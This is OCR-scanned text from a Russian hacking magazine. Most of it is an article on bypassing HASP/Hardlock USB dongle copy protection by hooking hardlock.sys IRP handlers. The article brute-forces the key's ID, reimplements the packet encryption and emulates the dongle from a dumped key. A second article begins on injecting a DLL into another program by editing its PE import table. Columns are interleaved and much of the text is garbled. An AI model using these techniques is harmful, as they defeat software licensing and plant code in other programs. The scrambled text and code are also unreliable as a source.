ной и программ ной. Аппаратная часть- это электронный ключик в виде USВ-брелка, РСМСIА-карты, LТР-девайса или вообще внутренней РСI-карты. Установленный софт будет работать только на той машине, в которую воткнут электронный ключ. Собственно, неплохо было бы отучитьсофтот такой неприятной для кошелька привычки. Программная часть- это драйвера электронного ключа и различный софт, привязывающий электронные ключи с их драй­ верами непосредственно к защищаемому продукту или к каким-то

зашифрованным данным. В статье мы рассмотрим и обойдем за щит у, использующую USВ-брелок- наверное, наиболее популярный электронный ключ на сего дня .

буется дамп ключа, но подстановка данных осуществляется иначе, а

именно- в nрограммной эмуляции. То есть драйвер за щиты сможет

МЕХАНИЗМ СИСТЕМЫ ЗА

обращаться с виртуальным ключом так же, как и с физическим .

Сам брелок нас почти не интересует, в отличие от ПО в его комплек­ те. Для нас наибольший интерес представляет модуль haгdlock.sys.

ПЕРЕХВАТ И ЭМУЛЯUИЯ

Не углубляясь в подробности, отмечу, что этот драйвер отвечает

Как уже отмечалось, идея перехвата состоит в перезаписи обра­

за взаимодействие с аппаратным ключом. Он имеет два объекта

ботчиков IRР-пакетов. Для этого необходимо иметь возможность

устройства, один из которых обладает символьным именем \Device\

изменять поля структуры DRIVER_OBJECT. К счастью, существует

FNTO. Используя этот объект, защищенное приложение посредством

функция loGetDevicePointeг, которая возвращает указатель на объект

диспетчера ввода-вывода проверяет лицензию на использование

вершины стека именованных устройств и указатель на соответству­

данного ПО.

ющий файловый объект. Вот фрагмент кода функции, ус т анавливаю­

Гл авным недостатком такой системы защиты является возмож­

щей ловушку:

ность пер ехвата вызовов диспетчера ввода-вывода и эмулирова ния

аппаратного ключа. Существует также вариант разработки драйвера виртуального ключа, но это гораздо более сложная техническая за­

дача, нежели перехват вызовов. Как тебе известно, модель драйвера описывается в структуре DRIVER_OBJECT при загрузке модуля. Она

NTSTATUS HookDevice(LPWSTR lpDevice) UNICODE_STRING DeviceName; PDEVICE_OBJECT DeviceObject; PFILE_OBJECT FileObject ;

хранит массив обработчиков сообщений. Причем никто не мешает переписать эти адреса и получить управление, выполнив наш код.

Таким образом, можно перехватывать и подменять IRР-пакеты, под­ ставляя лицензионные данные . Другими словами, имея дамп ключа

RtlinitUnicodeString(&DeviceName, lpDevice); IoGetDeviceObjectPointer(&DeviceName, lu , &FileObject, &DeviceObject);

защиты, можно передать его программ е, проверяющей верность лицензионных данных! Дл я эксплуатации другого метода также тре-

106

Получив указатель на структуру

DEVICE_OBJECT, имеем указа-

ХАКЕР

11/154/2011


AntiHASP

тель на

DRIVER_OBJECT. Теперь

заменим адреса обработчиков и

DevкcrrccVJ 18 Dr1vcr Vot'W OSR5 Devtce.slldDro\11!r lxplorer

[.=- ~~ ('g

функций выгрузки драйвера на свои: DRV v

NTSTATUS HookDevice(LPWSTR lpDevice) gDriverObject = DeviceObject-> DriverObject;

(lrl'>llllld)

DRV ~

DRV DRV 'IJr'iwof\/IO'IJW. DRV DRV ~· DRV ~\&.dlti.Ь

gDeviceCoпtrol =

gDriverObject- > MajorFunction[ IRP_MJ_DEVICE_CONTROL]; gDriverObject- > MajorFunction[IRP_MJ_DEVICE_CONTROL] HookDispatch;

DRV DRV -

gDriverUnload = gDriverObject->DriverUnload; gDriverObject->DriverUnload = HookUnload;

\DeW:eolнтo

о_,н._

\Dorwor\Н~

о._оь.к:t

IW'fB&o\488

rso!МC'8.

OW.Oto,ect~D"'"T~ HeotO...C.:

~S~Sn;

H..... Ccui:O

~

DRV ~'ICI*;t: DRV ~OIIC!Ьttt

Pme!Co.rt:

VcD.

с:о.-.т-.:

11110'1110010000

DRV -

Al«nndo- I!)(DDJЦI

DRV ~'Io*-'

1

lмmxm

1 Оре~..:е:

,( )IJ

;r---

,Qo&.CO

OpcReou~n;~ Opo::N~ . ~.~--

()IJ

O..IICienclocl::

Qiiixmj))-

п.

(М4О

"""'"'

""""""

oo-

DRV op;..\oifoooiOtd DRV DRV DRV ~

DRV - -

ginternalDeviceControl = gDriverObject-> MajorFunction[ IRP_MJ_INTERNAL_DEVICE_CONTROL]; gDriverObject-> MajorFunction[ IRP_MJ_INTERNAL_DEVICE_CONTROL] = HookDispatch;

о-н-=

DEV

\DeYa~Yd

-~~~~~~~~~~~~

1 E..-.tion"*-*on

Dew:8ld

DRV DRV DRV \Drlver\НffP DRV -

DRV

VJnwor\,lmllcS.

ORV ~

DRV DRV ~'jwcro

о.-сг o-:eDI ГD...-D2

Г Doci<D8Yc8

Гtho).oe~D

DRV - -

Г~ГR-.ы.

DRV ~\Iaioo8

ГEfi'CIS~

DRV ~\jCSetOO

DRV - -

ГWаЬrоС800 ГW11t6at/J1 ГWW/101f()2 ГWtW'IOif03

.........

DRV 'prlvoer~ DRV ~\Мo:Ui.МIJ

DRV 'Prw.~

DRV -

ObfDereferenceObject(FileObject); В последней строчке вызывается функция OЫDeгefeгenceObject,

Утилита

WDK в действии. Дополнительная информация об устройстве

которая умень шает количество ссылок на файловый объект. Это необ хо­ димо делать для корректной выгрузки драйвера, чтобы не было утечки

Э десь происходит восстановление полей с труктуры

DRIVER_

ресурсов и аналогичных ошибок . Так как указатель на объект драйвера

OBJECT,

и п ере дает ся у правл ен и е на оригинальный код выгр узки

за щиты сох ран ен, то, чтобы снять л ову шк у, нужно просто восстановить

драйвера перехваченного устройст ва. Аналогично поступаем , если

прежние обработчики IRР-пакетов:

наш драйвер завершает работу раньше сис темы защиты . Только нуж ­

void UnhookDevice(void) gDriverObject- > MajorFunction[IRP_MJ_DEVICE_CONTROL] gDeviceControl; gDriverObject-> MajorFunction[ IRP_MJ_INTERNAL_DEVICE_CONTROL] = glnternalDeviceControl; gDriverObject->DriverUnload = gDriverUnload;

gHookUnload.

но высвободить захваченные р есу рсы и не вызывать сохраненный

ПЕРЕХВАТЧИК Зная основные принципы пр ос т ей шего пере хва та IRР-пак е тов, приступим к реализации пока только самого перехватчика для даль ­

нейшего анализа. Для этого соз дадим объек т драйвера , который со­

д ержит символьное имя [например Конечно, надо добавить соответствующие проверки на валидность

\ DosDevices\ Hook)

и т очки входа

CREATE, CLOSE, READ.

указате лей и прочееТеп ер ь необходимо реализовать правильную вы­ грузку драйверов. Так как система защиты по каким-либо причинам мо­ жет закончить свою работу раньше нашего драйвера , то, чтобы избежать краха системы из- з а неверных указателей, обработаем зто событие в

функции HookUпload :

void HookUnload(PDRIVER_OBJECT DrvObj) UnhookDevice(); gDriverUnload(DrvObj);

IoCreateDevice(DriverObject, е , &usDeviceName, FILE_DEVICE_NULL, е , е , &pDeviceObject); IoCreateSymbolicLink(&usSymbolicDeviceName, &usDeviceName); DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatch; DriverObject- >MajorFunction[IRP_MJ_CLOSE] = DriverDispatch; DriverObject->MajorFunction[IRP_MJ_READ] = DriverDispatch; DriverObject->DriverUnload = DriverUnload; Это нужно для того, чтобы работать с нашим пере х ватчиком как с

файлом , используя функции CгeateFile\ReadFile\CioseHaпdle. При такой реализации обмена данными между приложением и перехватчиком не­

'Jj dump- Блокнот Ф1йл

Пр1ека

Форм1т

Вид

возможно с ра зу же отправить их пользователь ской программе, позтому

tnpaeк.!ll

.(~~~iё~~;~~~~~~~~\SYSTEМ\Curr entcontr о1set \ Servi ces \ v; г ua 1наsр \ Dump]

необходимо создать некоторую структуру для хранения необходимых данны х о пойманном па кете . Например односвязный список, как зто

''owner''•''someowner ·· "created"•" Ol . 01.2005 00:00"

реализовано мной. Теперь с ледуе т определиться, какую информацию

" туре" ·dwor d: 00000001 "нemory" -т-ю г d: 00000001

н ужно буферизировать. Это общая информация о па кете [тип, флаги,

"seci on"-hex: 09,42 , 4 S, 46, al, е2, eS, еб

;;~~~~~~~h~;~g~ ~ g~: g~: ~~: ~~: g~: ~~: gg: gg :~~: ~~: ~: ~~, с9

пр очее) и, конечно, буферы . Также можно добавить время перехвата.

"oata"• hex : 01 , 00,00 ,00 , 00 , 00,00, 30 , 4с, 38,68, е9 ,а2 ,ad,b3 ,2а, 8f ,dб,2а, f9,01,42, \ fb, 22, Зf ,с9 ,45, 75 ,Ьа , 93, 56, 5b,da,Oa, 77, fв ,ОЬ ,Of, 51 ,Ы, в1,0е ,41, 59 ,ld, Ы, 76, \ 4a, d7 ,45, 36,13,07,44, 73 , dd, 29,02, 59 ,d9, 6f ,d5 ,2d,42, 25,23, с3 ,43 ,е7 ,61, е9, а1, \ ed, 97 ,а5 ,15 ,1 в, fd, 54 ,с9 ,ев, 9в, 63, с3 , 2с, 3с, 6a,Of, ff ,Ь5, 7Ь, 3f, 79,ef ,15 ,49, 56, \

1"s~~~~i,.:в h:~:~~;~g;~} ;}~ ;g~;~~ ; ~~; f~ ;~~; ~~;~~, 9е,в3 ,ьв ,40, 34 ,Of ,60 ,ll,bc, 67, \

08 , 89, S1,a4 ,62 ,76 ,29 ,69,82 ,е2, 70, 3S, еЬ, Sb, сО, ас ,11,04 ,el,4 S, 38,43 ,Ь1,Ы., 1.4 , \ 02,16,04 ,ев, 53, 70,27, 33 , ае, 71, cl,ld, fб, 9b,Od, 71, 3в,1е, 94 ,61,20, 95,09 ,d2 ,61 , \ аО, 97,41,45 ,19, в6, 35 ,00, 53, 91,ed , 74, 21, 20, 5с ,Od ,ов, f9,4c ,6а,О2 ,40,1О,в6 , f7, \ 30,1О,ОЬ ,eO , cd , аз, 30,81,24 ,82 , а3 ,а4 ,42, ео, 20,10,9e,df ,ьо, 70,98 ,бa,dS ,41 , 48 , \ се ,d4 ,72 ,bS, 2с ,8а,17, SО,б8 ,ef, Sб, 89, el, 20,бS , lf, 9с, 28, f4 , 47 , 93 ,d0,01,07 ,Оа , \ 54 ,11, 9с ,46 , Se, а4 ,91,eS, еЬ , dc ,82, Sb,25, 58, S8,10,4S , 7 3,8с ,lb ,OO , бl,la, Sa, 34, \ 22 ,2 0,sc,n.~.29,3a,Sб,~,e0,32 ,3 9,3a,ce , e7,cd,~,W.2l,Ob,ee,82,c2,~.~. \

22 , 4S, 2d,13 ,23, 31 , 28 ,е0,89 ,16,01 , ае,ОЗ, 2a , 4S ,4а, 81,18,Ьа,28,с7 , a.l, Sl,Sd ,48, \ е5, 3d, с6, 7f ,аа, 79 ,d9 ,02, е4 ,12 ,cl , fd, 7c,al, 2d,OO, fl, 6a,d0, 91,06 ,в2, 90,95 ,се, \ е а , во,10, 91 ,в5 ,4а,О1 ,01 ,01 ,01

CтplS, стп611

При копировании содержимого буферов нужно помнить об и х типе ,

иначе- крах. Забегая вперед, отмечу, что драйвер защиты исполь зует буферизированный ввод-вывод, зто немного упрощает код.

HookDispatch if (idlTail- >IrpData.InputLength) { idlTail- >InputBuffer = ExAllocatePool(NonPagedPool, idlTail->lrpData.InputLength); RtlCopyMemory(idlTail->lnputBuffer, Irp- >Associatedlrp.SystemBuffer, idlTail->lrpData.InputLength);

Код

} nример дампа ключа

ХАКЕР

11 / 154/2011

107


КОДИНГ

if (IoSL->MajorFunction == IRP_MJ_DEVICE_CONTROL) Status = pHookedDriverDispatch(IRP_MJ_DEVICE_CONTROL)( DeviceObject, Irp); if (idlTail->IrpData.Outputlength) { idlTail->OutputBuffer = ExAllocatePool(NonPagedPool, idlTail-> IrpData.Outputlength); RtlCopyMemory(idlTail->OutputBuffer, lpBuffer, idlTail->IrpData.Outputlength);

idlTemp = idlHead- >ldlNext; ExFreePool(idlHead); idlHead = idlTemp; if

(!idlТemp ) idlТail =

NULL;

Когда перехватчик готов , запускаем сначала его, а затем­

за щищенное прило жение с ключами и без. Из полученных логов

}

становится видно, какие у правляющие коды посылаются и их ре­

Осталось реализовать чтение из драйвера. Так как пакет со­ держит буферы, чье со держимое представляет интерес, то размер

зультаты. Также можно видеть, что за просы и ответы на два различ­

ных кода [9с402450, 9с4024а0) не изменяются . Казалось бы, можно

сообщений заранее неизвестен. Поэтому поступим следующим

построить табличный эмулятор, но после серии за п усков убежда­

образом: при первом чтении получаем общую информацию о пакете и

емся, что это нево зможно, так как содержимое буферов различно, и

размере буферов; при повторном читаем содержимое, удаляем звено

неизвестно, как оно образуется.

из списка па кетов и не забываем про спиновые блокировки для по­

Затем возможны н есколько вариантов дальнейши х действи й:

следовательной работы с данными:

изучать дебри драйвера защиты;

DriverDispatch Length = IoSL->Parameters.Read.Length; if (Length == sizeof (IRP_DATA) && idlHead) RtlCopyMemory(Irp- >UserBuffer, &idlHead- >IrpData, Length); else if (idlHead && Length ==_ (idlHead-> IrpData.Inputlength + idlHead-> IrpData.Outputlength))

Оба варианта дают необходимую информацию. Итак, оказыва-

вос п ользоватьсяинформациейсамихразработчиковсистемы . Код

алгоритмом

AES [Ad vanced

Encгyptioп Standaгd). Логичной ц елью

является получение ключа шифрования .

Но если еще больше углубиться в изучение устройства системы защиты, то окажется, что аппаратный ключ имеет уникальный номер и содержит всю необходимую информацию, но для доступа к нему требуются программные ключи .

{

RtlCopyMemory(Irp->UserBuffer, idlHead- > InputBuffer, idlHead- >IrpData.Inputlength); RtlCopyMemory((PVOID)(JULONG)Irp- >UserBuffer + idlHead- >IrpData.Inputlength), idlHead-> OutputBuffer, idlHead->IrpData.Outputlength); else if (Length

==

1 && idlHead)

if (idlHead- >InputBuffer) ExFreePool(idlHead->InputBuffer); if (idlHead- >OutputBuffer) ExFreePool(idlHead->OutputBuffer);

Перехваченные пакеты без ключа

108

ется, содержимое пакетов шифр уется публичным симметричным

Поэтому первое , что нужно сделать, это получить ключ. По став ­

ленную задачу может решить обычный брутфорс:

unsigned short Кеу; unsigned char RefKey[ B], VerKey[ B]; for

(Кеу = е ; Кеу <= ex7fff, Кеу++) if (!HL_LOGIN(Key, 1, RefKey, VerKey)) { HL_LOGOUT(); Break;

Перехваченные пакеты с ключом

ХАКЕР

11 /154/2011


AntiHASP

тификатор , порт подключения и так далее . Для этого есть функции,

for ( int i = ехвЕ ; i < exFF; i++) { *(WORD*)(Buffer + i) -= Seed; Seed = (Seed >> 15 ) 1 (5eed << 1 ); Seed += *(WORD*)(Buffer + i) л i;

определенные разработчиками. Функции

}

return

Кеу;

Далее ключ [MODAD) используетс я для снятия дампа: тип, иден­

до с тупны из

HL_ LOGIN, HL_ LOGOUT HASP SDK для разработчиков приложений, защищенных

*((WORD*)Buffer + ехЬа )

на этой платформе , и имеют следующие прототипы:

Seed;

} WORD HL_LOGIN(WORD ModAd, Word Access, Byte * RefKey, Byt *VerKey); WORD HL_LOGOUT( void );

} Видно, что алгоритм гораздо сложнее, чем обычный сдвиг и исклю­ чающее <<ИЛИ». А вот алгоритм дешифрования:

Первая функция служит для открытия сессии работы с ключом

з ащиты посредством драйвера, вторая- завершает сессию. Это про­ т отипы старых версий

HASP SDK, но работают они и с новыми типами

к лючей , так как разработчики обеспечили обратную совместимость . Новый

API

мало отличается от старого, и это никак не сказывает­

с я на принципе работы брутфор са. Подробную документацию

Hasp API , готовые реализации брутфорса и дампера ключей можно найти

Код

Decrypt() void Decrypt(BYТE* Buffer) { WORD 5eed = *((WORD*)Buffer + ех5е ); WORD Ver *((WORD*)Buffer + ехЬа );

if (Ver) {

на диске.

for ( int i = exFE ; i > exBD; i--) Seed -= *(WORD*)(Buffer + i) л i; 5eed = (Seed << 15 ) 1 (Seed >> 1 ); *(WORD*)(Buffer + i) += Seed;

ОБРАБОТЧИК Те перь есть все необходимое для корректной работы модуля. Оста­ л о сь реализовать подстановку лицензионной информации . Причем можно перехватывать лишь некоторые IRР-пакеты. Здесь все уже за­ ви с ит от конкретной версии ключа и защищаемой программы. Дамп

for ( int i = ехвв ; i >= е ; i--) { Seed += *(WORD*)(Buffer + i) л i; Seed = (Seed « 15 ) 1 (Seed » 1); *(WORD*)(Buffer + i) -= Seed;

ключа лучше не встраивать в драйвер, а загружать динамически из р е естра. Лучше основываться на уже готовом перехватчике запро­

с ов , так будет проще отладить драйвер , отправляя перехваченные/ под с тавленные пакеты на анализ пользовательскому приложению.

Принципиально логика перехватчика будет иметь такой вид:

NTSTATUS HookDispatch(): PIO_STACK_LOCATION Stack Irp-> Tail.Overlay.CurrentStackLocatioп; ULONG IoControlCode; i f (Stack->MajorFunction == 14) { IoControlCode = Stack.DeviceioControl.IoControlCode; i f (IoControlCode != Вх9с4В2458 ) { Return gDeviceControl(DeviceObject, Irp); else { Encrypt(Irp->Associatedirp.SystemBuffer); Crypt(Irp->Associatedirp.SystemBuffec,__Key, DumpMemoryl;

*((WORD*)Buffer + ехЬа )

Seed;

} Затем следует еще один этап преобразования данных, более сложный и уже полностью зависящий от структуры запроса. Тут не

обойтись без дизассемблера, придется по копаться в б и не и поза­ имствовать немного кода у создателей. Это непросто, так как код драйвера защиты сильно обфусцирован , но он не отличается раз­

нообразием уловок. Достаточно будет декомпилировать драйвер не полностью, а только лишь некоторые кусочки кода.

В заключение отмечу, что построение табличного эмулятора, основанного на перехвате DeviceloCoпtгol,- достаточно трудная за­

return STATUS_FAILED;

дача. Но такой принцип эмулятора можно использовать и на другом

уровне взаимодействия: создать виртуальную USВ-шину. Пакет запроса к драйверу находится в криптаванном виде, поэто­

м у для доступа к его содержимому требуется расшифровать, а затем

ЗАКЛЮЧЕНИЕ

зашифровать. Возникает вопрос: каким алгоритмом и каким ключом

Это не единственный способ избавиться от системы защиты. Суще­

выполнено шифрование? Покопавшись в исходникахот создателей

ствуют и другие, более совершенные методы. Изложенные в статье

с истемы, можно получить следующий первичный алгоритм шифро­

принципы можно использовать и для анализа работы драйверов,

вания пакета:

перехватывая IRР-пакеты. Таким образом можно добавить не плохой

инструмент в свой сделанный на коленке набор . Удачи! Код

I

Encrypt()

void Encrypt(BYТE * Buffer)

{ WORD Seed = *((WORD*)Buffer + ех5е ); WORD Ver *((WORD*)Buffer + ехЬа );

if (Ver) { for ( int i = е ; i < ехВ9 ; i++) { *(WORD*)(Buffer-±..i_) += Seed; Seed = (Seed >> 15 ) 1 (Seed << 1); Seed -= *(WORD*)(Buffer + i) л i;

П рикла д ное

Hardlock.sys \ Device\FNTO

~

Dev1ceControl lnternaiDev1ceControl DriverUnload

i 1

приложен и е

~::::::::::::::~~~~~~~~~~--~~

Проверка nодлинности

~

Выгрузкадрайвера

Antihas p.sys HookDispatch

1

HookUnload

1

Принцип работы эмулятора

ХАКЕР

11/154/ 2011

109


deeonis ldeeonis!Ogmail.coml

DLLхард­ кодинг ВНЕДРЯЕМ

CBOIODLL В ЧУЖУЮ ПРОГРАММУ Как ты знаешь, основными типами файлов, которые служат

для выполнения программнога кода, в ОС ЕХЕ и

DLL.

Windows

являются

Первые- это абсолютно самостоятельные про­

граммы, которые любой пользователь может запустить и посмотреть, что будет. Вторые- динамические библиотеки, которые изначально создавались для экономии памяти за счет того, что существовали в

этой памяти в единственном экзем пляр е. Все программы использу­ ют

обязательно компилировать его вехе-файл и ждать, когда юзер кликнет по нему в проводнике.

Не обязательно его добавлять

и в автозагрузку

Windows

или

ковыряться в системном реестре

DLL типа

легальные программы выполнять

любое наше запрограммированное

исполняемых

nрограммист должен имnортировать их. Это можно сделать двумя

файлов PortaЬie·

IPE): emanuai.ru/down· load/www.eManual. ru 1298.hlm l: • хорошо написано ExecutaЬies

о таблице имnорта :

rsdn ru/art jcle/baseserv/Deloader.xml.

сnособами.

КАК РАБОТАЕТ ИМПОРТ Для имnорта каких-либо функций исnользуется связывание основ­

ного модуля nрограммы с

DLL, которая предоставляет эти функции.

Связывание бывает двух видов: статическое или динамическое. Ина­ че говоря, на этапе комnиляции или во время выnолнения. Динами­ ческое связывание выnолняет сам nрограмм ист. Для этого он должен наnисать несколько строк кода и вызвать пару АРI-функций, таких как Loadlibгaгy и GetPгocAddгess. Дело это достаточно хлопотное,

• Hiew-must

так как функций очень много, а кодер- один. Поэтому в основном

have для

используется связывание на этапе компиляции.

всех, кто

работает с РЕ­

файлами: hiew.ru: • РЕТооls­ неплохая ту л за

для работы с

желание при каждом своем

исполняемыми

запуске .

org.ru/Detools.shtml.

110

keгnel32.dll или useг32.dll, так и свои собственные. Чтобы

вос nоль зоваться функциями, которые nредоставляет библиотека,

по запуску бинарника. Можно красивее, заставив абсолютно

liЬгагу, а точнее- функции, экспортируемые этими

• Формат

в поисках скрытых возможностей поступить гораздо хитрее и

dynamic-link

библиотеками. Разнообразный софтиспользует как системные

Чтобы запустить свой код, не

файлами: ~

При статическом связывании загрузчик РЕ-файлов lто есть кусок винды, ответственный за заnуск ехе'шников) определяет нужные для работы программы

DLL,

проецирует их в адресное nространство соз­

даваемого процесса и находит адреса импортируемых функций. Н о чтобы все это произошло, компановщик исполняемых файлов должен создать в бинарнике особую структуру под незатейливым названием

ХАКЕР

11/154/2011


DLL-хардкодинг

[!!] PL Tool. vr 5R

1

ЬуЩОх![шn] http 1/www uнк oul

----а

Dнectory [d1tot РЕ

Dlrectory Inforrмtions

г:::::"::УА'::-:-0

E-Di'ectory -Di'ectory ResotJ'ceDrec.tory Exception Di'ectory

Searty Di'ectory в.sе

Retoc...". т.ые

ОеООо

Ard'йec.tu'e

00000000

ooo "m.lC н

00007604

ООООООС8

-~ ·o~ ~D:.O.:(Io-'-o+..с.: ОООО89АС -'-'-":00000000

Specfic О«~

00000000

IJ:..

00000000

OOOOOOIC 00000000

ОООООА70

0000148<:

н

РЕ Edttor

JP.l '.o. :0 ,

с \wшdo""

-...-·s·o

rt

он

2\nottp•d

ехе

~r Н н

RYAol GP

0090

0003

lntWCSv.U.

0000

.1

Reloc-.s

0000

T.Ы.olfset

0040

. '1 1

ol heoder

0004

оооо

Ched<sun

lntW!Pv.U.

--Di'ectory

tntW SS v.U.

Iщxrt

irйJISP vМJe

DesЩ>tors

ErЬyPort(RAW)'

сом·- desЩ>to<

".N,.....

0000189С

1

(IDHBIO

11

o-toy lrnport Directory

Мoxi'nun~ ~ OEМirl 0000 COJ8

Sections

000003<0

РЕ Addr

Sedion,[.text1

Reserved

()r9\alnrst1Ь.d 0001119!10

DIN.sne

~.... 5>EU32.cl WINSPOOL..DRY

00007840 00007980

coмcn32.cl

ОООО76ЕС

= i " : ..cl

=~

Гme/Datest«np -Chofn ......... .ffffffi'F. FffffFFf FFfffFfF

=

AP!Name

l'h.dRYA 00007990 00007'}94 00007'J98 0000799(:

i!1"\..ndows\systemЭ2\rpcrt4.cl

Fi-dreJCtW

....

PП<DioExW

i!)c,\..ndows\winsxs\x86_rnaosolt ...ndows.common-cor<rols_6595Ь64144cdl<f_6.0.ЖI0.6028J.-_61e65202\comdl32.d

~c,\..ndows\systemЗ2\ms'юt.cl i!]c,\..ndows\s'lstem32\oci32.cl

tlиi<.Ofket

......

00001МС

00007AFA ОООО783А

000078SE OOtXI706

00007008 Пиi<.У.....

00001174 00001284 00001020 OIXJ012EC 00001000

-

00006090 00006094 00006098

OIЖXJ7A7A

()(](F

00007ASE

0006 0012 0003 0008

00007А9Е

ООООбО9С

00007ASO

000079АО

ОООО6ОАО

00007А40

000079А4

000060А4

00007А8А

ОООА

Rej>loceTeJCtW

000079д8

IJOOIIбOA8

00007А6А

Conv~Щxtended&ror

ОООО79АС

00006DAC

ООСКJ7А14

0015 0004

GeiSovefieNameW

00007980

000061)8()

00007А2С

ооос

~c,\..ndows\system32\....-32.cl

-~

0074ЭООО

OOIIИOOO 0001К000

007'JOOOO 00063000 OOIIИOOO

00(][9000 OOIIИOOO

00035000 00011000

~

~ ~~

1 j ·1

в

~

i!)c,\..ndows\system32\sNwooi.cl

~"\..ndows\syst<m32\<hel3.cl

740f0000

Processes lo4ded: 80 Импорт

00027000

=:: sH

Get()penfieШmeW

ChooseFontW GeiRel11eW

~"\..ndows\system32\seШ32.cl

FfffFffF FfffFffF FfffFffF FfffFffF Ffffffff

FfffFffF

POC)85eiЦ>I)IgW

~ -- = ,-~~~·Ul.~~

-- --

00400000 00500000 00<00000 00400000 00400000 00400000 00400000 00400000 00400000 00400000 01000000

ОЕМ~rг========================================================

Lood Con/io Di'ectory Add-ess Та.

'~-;xmi ""iiXii1 _japt;oм~Нooc~e< , Fie- 1l

в,tesanlostpogo

мnmum~

00000170 00001214 000012011

---,

Pogesinfie

-

IXIOOiiiC

- [Reod 011ly]

005 Не~ Inforrмtions [tt;X]

ns Di'ectory

Oeloy -

PID OIXJ01128 00000968

~--:=:::=::=::=-;+--== =:=-ьr ОООЗIЗSО

Di'ectory

__________________________________

[1-ЕХ]

ООО4СООО

м

-...,, 1729748КЬ/4035588КЬ

notepad .exe в PETools

«таб лица импорта>>. В этой структуре содержится информация о том ,

11

какие функции и из каких DLL используются в программе. Именно на основе таблицы импорта загрузчик исполняемых файлов Windows принимает решения: какие динамиче ские библиотеки подгружать в

Ты не ошибся,

э то РЕ-файл

else

11 Oops!!! }

память программы , а какие- нет.

Логично предположить, что для загрузки своей собственной

DLL

Следующим шагом мы должны найти таблиц у импорта. Для этого

достаточно лишь немного подправить таблицу импорта , благо ее

обратимся к структуре IMAGE_OPТIONAL_HEADER , которая входит в

формат хорошо документирован . Но прежде чем заняться непо­

состав

сре дственно кодингом, давай поподробнее разберемся в структуре

массив из структур IMAGE_DATA_DIRECТORY. Каждый элемент массива

РЕ-файла и узнаем, как добраться до этой таблицы.

IMAGE_NT_HEADERS. В IMAGE_OPТIONAL_HEADER будем искать

описывает какую-нибудь важную для исполняемых файлов таблицу. Треб ую щаяся нам информация об импорте содержится в элементе

РЕ-ФОРМАТ И ТАБЛИ

А ИМПОРТА

с индексом IMAGE_DIRECTORY_ENTRY_IMPORT или 1. Сама структура

Любой исполняемый файл Windows имеет 005 Неаdег. Он находится

I MAGE_DATA_DIRECTORY выглядит следующим образом:

в самом начале файла и первое его поле e_magic по смещению eeh ДОЛЖНО со держать ЧИСЛО

5A4Dh (IMAGE_DOS_SIGNATURE) ИЛИ, говоря <<MZ>>. Поле e_lfanew все той же структуры IMAGE_DOS_HEADER хранит сме щение на РЕ­ на человеческом языке, латинские буквы

за головок файла. Структуру, описывающую этот заголовок, можно

Описание

IMAGE_DATA_DIRECTORY typedef struct _IMAGE_DATA_DIRECTORY DWORD VirtualAddress; DWORD Size;

найти в файле winnt.h под названием IMAGE_NT_HEADERS. П ервое ее поле зто

DWORD Signature, которое должно содержать число 4550h или, иначе, <<Р Е » . Таким образом, перед началом работы с файлом нам нужно проверить наличие в нем по нужным смещениям сигнатур MZ и РЕ, чтобы убедиться, что перед нами действительно РЕ-файл. Проверка

принадлежности файла

к РЕ-формату

ВУТЕ *buff = new BYTE[file_size);

11 ... читаем

РЕ-файл в переменную buff ...

i f ((PIMAGE_DOS_HEADER)buff)·>e_magic TURE)

IMAGE_DOS_SIGNA·

{ PIMAGE_NT_HEADERS nth = (PIMAGE_NT_HEADERS )((DWORD) ((P IМAGE_DOS_HEADER)buff) ->e_lfanew) + (DWORD)buff); i f (nth->Signature == IMAGE_NT_SIGNATURE)

ХАКЕР

11/154/2011

Hiew в действии

111


КОДИНГ

Вся статья в одной картинке

-----J

t y pe d ef

L

str uct _IМAGE_OPТIONAL_HEADER

{ ВУТЕ ВУТЕ

MajorLinkerVersion; MinorlinkerVersion;

{ WORO e_magic;

DWORD SizeOfUninitializedData;

WORD е_сЫр;

OWORD OWORD DWORD DWORD

е_ ср;

WORD

WORD e_crlc; WORD WORD WORD WORD

e_cparhdr; e_minalloc; e_maxalloc;

DWORD TimeDateStamp; OWORD ForwarderChain; OWORD Name; OWORD FirstThunk; } IМAG Е_ IMPORT_ OESC RI PTOR;

AddressOfEntryPoint; BaseOfCode; BaseOfOata; ImageBase;

OWORD SectionAlignment; OWORO FileAlignment;

WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion;

e_ss;

WORD e_sp;

WORD MajorimageVersion; WORD MinorimageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue;

WORD e_csum; WORD e_ip;

WORD e_cs; WORD e_lfarlc;

WORD e_ovno; WORD e_res [ 4];

DWORD SizeOflmage;

WORD e_oemid; WORD e_oeminfo;

DWORD CheckSum;

L

type def struct _IМAGE_IMPORT_BY_NAМE { WORD Hint; ВУТЕ Name[ l ];

DWORD SizeOfHeaders;

11 на самом деле ., здесь не один 11 любой длины ASCIZ-cтpoкa IМAGE_IMPORT_BY_NAМE;

}

LONG e_lfanew;

OWORD SizeOfStackCommit;

а

{ DWORD VirtualAddress; DWORD Size;

DWORD LoaderF lags;

OWORD NumberOfRvaAndSizes; IМAGE_DATA_DIRECTORY OataDirectory[ lб

}

_IМAGE_DATA_DIRECTORY

- i typedef str u ct

DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit;

}

J;

IМAGE_DATA_DIRECTORY;

IМAGE_OPТIONAL_HEADER;

L

_IМAGE_NT _HEAOERS

{

type d ef struct _IМAGE_ THUNK_DATA {

uni on { OWORD ForwarderString; 11 РВУТ Е DWORD Function; 11 POWORD

DWORD Signature; IМAGE_FILE_HEADER FileHeader; IМAGE_OPТIONAL_HEADER32 OptionalHeader;

}

байт,

WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve;

WORO e_res2[10]; } *PIМAGE_DOS_HEADER ;

ч ty pe d ef st ruc t

{

Characteristics; OriginalFirstThunk;

};

DWORD SizeOfCode; DWORD SizeOflnitializedData;

t y pe def str uc t _ IМAGE_DOS_HEADER

_IМAGE_IMPORT_DESCRIPTOR

typedef str u ct un ion { DWORD DWORD

WORD Magic;

DWORD Ordinal; DWORD Ad<J..r2'ss0f0ata; } ul;

*PIМAGE_NT_HEADERS32;

}

11

PIМAGE _IMPORT _ВУ_NАМЕ

IМAGE_THUNK_DATA;

Как добраться до импорта

} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

/1 RVA таблиuы импорта DWORD impRVA = пth->OptioпalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY _IMPORT]. VirtualAddress_;

